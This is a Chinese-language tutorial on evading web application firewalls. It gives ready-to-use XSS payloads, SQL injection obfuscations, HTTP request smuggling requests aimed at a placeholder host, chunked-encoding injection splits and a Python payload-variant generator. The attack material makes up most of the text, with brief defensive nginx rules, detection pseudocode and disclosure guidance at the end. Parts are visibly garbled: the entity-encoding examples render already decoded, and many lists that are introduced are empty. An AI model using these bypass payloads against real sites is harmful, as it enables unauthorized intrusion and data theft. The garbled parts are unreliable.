Web应用防火墙(WAF)作为现代网络安全体系中的重要防线,其工作原理类似于机场的安检系统——通过预设规则对HTTP/HTTPS流量进行深度检测,拦截潜在的恶意请求。但正如安检系统存在漏检可能,WAF也面临着各种绕过技术的挑战。这些技术本质上都是对攻击载荷(Payload)进行变形伪装,使其能够骗过规则检测。
从技术实现来看,主流WAF通常采用以下检测机制:
而绕过技术的核心思路,就是针对这些检测机制的弱点进行精确打击。比如:
重要提示:本文所有技术讨论仅限授权安全测试场景,实际应用需获得书面授权。未经授权的渗透测试可能涉及法律风险。
HTML实体编码不仅限于基本的<→<转换,实际应用中存在多种变体:
< → << → << → <(需注意浏览器兼容性)实战案例:
html复制<!-- 原始Payload -->
<img src=x onerror=alert(1)>
<!-- 编码后变体 -->
<img src=x onerror=alert(1)>
绕过原理:WAF的正则规则可能只检测alert(这样的连续字符,而编码后每个字符被拆分为独立实体,破坏了特征连续性。
除常规的单层编码外,以下技巧可提升绕过成功率:
非标准编码:
%20(标准)或+(非标准)/编码为%2f或%2F(大小写敏感)混合编码策略:
http复制GET /search?q=%3Cscript%253Ealert(1)%3C/script%3E HTTP/1.1
这里%253E是>的双重编码(第一次编码为%3E,第二次对%编码为%25)
部分编码技巧:
sql复制admin' OR 1=1--
只对关键字符编码:
sql复制admin%27%20OR%201=1--
利用服务器与WAF对HTTP协议解析的差异,通过精心构造的请求实现绕过:
CL-TE走私(Content-Length vs Transfer-Encoding):
http复制POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 6
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
TE-CL走私:
http复制POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
技术要点:
利用HTTP/1.1的分块传输机制绕过WAF检测:
http复制POST /search HTTP/1.1
Transfer-Encoding: chunked
7
keyword=
3
cat
2
'
3
or
3
1=1
0
实际拼接后的参数为:keyword=cat' or 1=1
防御建议:
MySQL内联注释:
sql复制/*!50000select*/ * from users
数字表示MySQL版本号,仅当版本≥5.00.00时执行
注释分割关键字:
sql复制SEL/*xxx*/ECT * FROM users
多行注释干扰:
sql复制S/**/E/**/LECT * FROM users WHERE id=1
常见函数替换表:
| 原始函数 | 替代方案 |
|---|---|
| CONCAT() | CONCAT_WS('',a,b) |
| SUBSTR() | MID(), SUBSTRING() |
| ASCII() | ORD(), HEX() |
| SLEEP() | BENCHMARK(1000000,MD5(NOW())) |
示例:
sql复制-- 原始注入
SELECT * FROM users WHERE username='admin' AND ASCII(SUBSTR(password,1,1))>50
-- 混淆后
SELECT * FROM users WHERE username='admin' AND ORD(MID(password,1,1))>0x32
突破常见onerror检测的变体:
html复制<img src=x oneonerrorrror=alert(1)>
<svg/onload=alert(1)>
<iframe srcdoc="<img src=x:x onerror=alert(1)>">
Unicode转义:
javascript复制\u0061\u006c\u0065\u0072\u0074(1)
字符串拼接:
javascript复制window['al'+'ert'](1)
模板字符串:
javascript复制Function`x${'alert(1)'}```
0day漏洞窗口期:
规则指纹识别:
http复制GET /?test=<script>alert(1)</script> HTTP/1.1
观察响应:
绕过速率限制的策略:
典型工作流:
<script>alert(1)</script>PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==%50%48%4e%63%63%52%49%70%64%44%35%61%62%47%56%72%64%43%67%4f%4b%50%77%3d%3d&#x50;&#x48;&#x4e;...解码链:
code复制HTML实体 → URL解码 → Base64解码 → 执行
使用Python生成随机变体:
python复制import random
import urllib.parse
payload = "alert(1)"
encodings = ['html', 'url', 'unicode']
def random_encode(s):
enc = random.choice(encodings)
if enc == 'html':
return ''.join(f'&#{ord(c)};' for c in s)
elif enc == 'url':
return urllib.parse.quote(s)
else:
return ''.join(f'%u{ord(c):04x}' for c in s)
print(random_encode(payload))
输入验证:
输出编码:
安全配置:
nginx复制# 禁用危险HTTP方法
if ($request_method !~ ^(GET|HEAD|POST)$ ) {
return 405;
}
# 限制特殊字符
location ~* "[<>\"']" {
deny all;
}
解析一致性:
机器学习增强:
cmd.exe出现在username字段)行为分析:
python复制# 伪代码:检测异常访问序列
if request.path == '/login' and
request.method == 'POST' and
request.content_length > 1024 and
'sql' in request.params.values():
block_request()
授权测试要点:
漏洞披露流程:
mermaid复制graph TD
A[发现漏洞] --> B[验证影响范围]
B --> C{是否0day?}
C -->|是| D[联系厂商]
C -->|否| E[查询公开修复方案]
D --> F[给予合理修复时间]
F --> G[协调披露时间]
职业操守:
在实际安全工作中,理解这些绕过技术的原理不仅有助于攻击测试,更能从防御角度完善安全体系。建议定期进行红蓝对抗演练,通过模拟真实攻击持续优化防御策略。